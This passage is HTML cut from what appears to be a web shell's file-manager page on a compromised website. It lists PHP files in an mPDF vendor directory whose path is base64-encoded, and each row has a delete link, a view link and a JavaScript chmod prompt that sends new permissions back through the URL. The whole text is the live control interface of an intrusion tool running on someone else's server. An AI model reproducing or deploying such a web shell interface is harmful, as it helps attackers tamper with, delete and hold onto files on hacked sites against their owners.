onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=QmFzZVdyaXRlci5waHA=&c=`+btoa(c):0" value="0644"></td><td>6741</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=Qm9va21hcmtXcml0ZXIucGhw">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Qm9va21hcmtXcml0ZXIucGhw"/>BookmarkWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Qm9va21hcmtXcml0ZXIucGhw&c=`+btoa(c):0" value="0644"></td><td>3782</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=Q29sb3JXcml0ZXIucGhw">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Q29sb3JXcml0ZXIucGhw"/>ColorWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Q29sb3JXcml0ZXIucGhw&c=`+btoa(c):0" value="0644"></td><td>1017</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=Rm9udFdyaXRlci5waHA=">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Rm9udFdyaXRlci5waHA="/>FontWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Rm9udFdyaXRlci5waHA=&c=`+btoa(c):0" value="0644"></td><td>23160</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=Rm9ybVdyaXRlci5waHA=">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Rm9ybVdyaXRlci5waHA="/>FormWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=Rm9ybVdyaXRlci5waHA=&c=`+btoa(c):0" value="0644"></td><td>1491</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=SW1hZ2VXcml0ZXIucGhw">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=SW1hZ2VXcml0ZXIucGhw"/>ImageWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=SW1hZ2VXcml0ZXIucGhw&c=`+btoa(c):0" value="0644"></td><td>3816</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=SmF2YVNjcmlwdFdyaXRlci5waHA=">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=SmF2YVNjcmlwdFdyaXRlci5waHA="/>JavaScriptWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=SmF2YVNjcmlwdFdyaXRlci5waHA=&c=`+btoa(c):0" value="0644"></td><td>924</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=TWV0YWRhdGFXcml0ZXIucGhw">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=TWV0YWRhdGFXcml0ZXIucGhw"/>MetadataWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=TWV0YWRhdGFXcml0ZXIucGhw&c=`+btoa(c):0" value="0644"></td><td>28900</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=T2JqZWN0V3JpdGVyLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=T2JqZWN0V3JpdGVyLnBocA=="/>ObjectWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=T2JqZWN0V3JpdGVyLnBocA==&c=`+btoa(c):0" value="0644"></td><td>1351</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=T3B0aW9uYWxDb250ZW50V3JpdGVyLnBocA==">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=T3B0aW9uYWxDb250ZW50V3JpdGVyLnBocA=="/>OptionalContentWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=T3B0aW9uYWxDb250ZW50V3JpdGVyLnBocA==&c=`+btoa(c):0" value="0644"></td><td>1957</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=UGFnZVdyaXRlci5waHA=">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=UGFnZVdyaXRlci5waHA="/>PageWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=UGFnZVdyaXRlci5waHA=&c=`+btoa(c):0" value="0644"></td><td>8904</td></tr><tr><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&x=UmVzb3VyY2VXcml0ZXIucGhw">X</a></td><td><a href="?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=UmVzb3VyY2VXcml0ZXIucGhw"/>ResourceWriter.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvZnV0dXJlZm9yZXZlcmNvL3B1YmxpY19odG1sL3ZlbmRvci9tcGRmL21wZGYvc3JjL1dyaXRlcg==&f=UmVzb3VyY2VXcml0ZXIucGhw&c=`+btoa(c):0" value="0644"></td><td>6801</td></tr></table>